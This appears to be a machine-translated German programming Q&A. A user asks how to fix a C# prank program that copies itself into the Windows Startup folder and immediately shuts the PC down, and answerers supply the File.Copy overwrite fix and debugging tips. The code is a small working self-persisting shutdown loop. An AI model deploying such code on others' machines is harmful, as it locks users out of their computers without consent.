2016-10-11 4 views
0

Mein Kollege und ich bekamen einen kleinen IT-Troll-Kampf und ich wollte eine .exe in C# erstellen, die sich beim Start automatisch startet und dann den PC herunterfährt. Ich habe das funktioniert, aber nach einem Neustart bekomme ich eine Ausnahme, dass die Datei bereits existiert. Jetzt habe ich versucht, es mit File.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName)); löschen, aber ich bekomme eine weitere Ausnahme System.IO.FileNotFoundException: das heißt es konnte nicht finden "C: \ Windows \ system32 \ Test.exe" (Test.exe ist das Programm) Ich kann nicht posten der volle Fehler, weil es so in Deutsch ist, ja. Gibt es eine Möglichkeit, die Ausnahme einfach zu ignorieren und sie trotzdem zu überschreiben? Hier ist mein vollständiger Code:Wie wird in C# gelöscht und in den Ordner kopiert?

String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe"); 
String filePath = Path.Combine(Environment.CurrentDirectory, fileName); 
File.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName)); 
File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName)); 
Process.Start("shutdown", "/s /t 0"); 
+2

Warum würde der volle Fehler, der auf Deutsch ist, Sie davon abhalten, es zu veröffentlichen? – Maarten

+0

Dunno Ich kann es hinzufügen, wenn Sie denken, es hilft –

+1

lol @ Maarten, gut, was Sie tun können, ist zunächst für die Existenz der Datei vor dem Löschen zu überprüfen. –

Antwort

0

die Überschreibung von File.Copy verwenden, die ein drittes Argument für überschreiben nimmt.

File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName), true); 
+0

Das hat funktioniert, denke ich. Es ist im Autostart-Ordner, aber ich kann es jetzt nicht einmal ausführen. Wenn ich es öffne, passiert buchstäblich nichts. Haben sie eine Idee? –

+0

Wenn Sie dieselbe Datei überschreiben, hätten Sie keine sichtbaren Auswirkungen. Ich vermute, dass dies eine Konsolen-App ist. Wenn das der Fall wäre, würde ich persönlich alles in einen try Block setzen und irgendeine Ausnahme auf die Konsole schieben. (Console.WriteLine (ex.ToString()); gefolgt von Console.ReadKey (true);) Letztere sollte anhalten, damit Sie sehen können, was der Fehler ist, aber nichts würde zeigen, wenn kein Fehler vorliegt. – Kirk

Verwandte Themen